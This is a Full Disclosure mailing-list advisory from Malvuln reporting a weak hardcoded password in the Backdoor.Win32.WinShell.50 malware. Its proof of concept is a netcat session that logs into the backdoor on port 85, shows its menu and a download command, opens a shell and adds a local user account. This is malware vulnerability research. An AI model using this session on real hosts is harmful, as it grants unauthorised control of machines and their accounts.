full-disclosure - [FD] Backdoor.Win32.WinShell.50 / Weak Hardcoded Password

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Message-ID: <CAAHK0WSgREat46Ju4juc6oBJ1ifZ7do4Qz=K5EE-Xm2DsE3wFw@mail.gmail.com>
Date: Tue, 25 Jan 2022 22:28:26 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.WinShell.50 / Weak Hardcoded Password

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/1fd45364073a81ddd707d74ba5d4c121.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.WinShell.50
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 85 and requires
authentication. However, the password "imdabest" is weak, hardcoded in
plaintext in the PE file and appears many times in a database of leaked
passwords.
Type: PE32
MD5: 1fd45364073a81ddd707d74ba5d4c121
Vuln ID: MVID-2022-0474
Dropped files: "sxe32A3.tmp"
Disclosure: 01/25/2022

Exploit/PoC:
nc64.exe x.x.x.x 85
:imdabest

WinShell v5.0 (C)2002 janker.org

? for help
CMD>?

i Install
r Remove
p Path
b reBoot
d shutDown
s Shell
x eXit
q Quit

Download:
CMD>http://.../srv.exe

? for help
CMD>s
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

c:\dump>whoami
whoami
desktop-2c3kqho\victim

c:\dump>net user hyp3rlinx 666 /add
net user hyp3rlinx 666 /add
The command completed successfully.

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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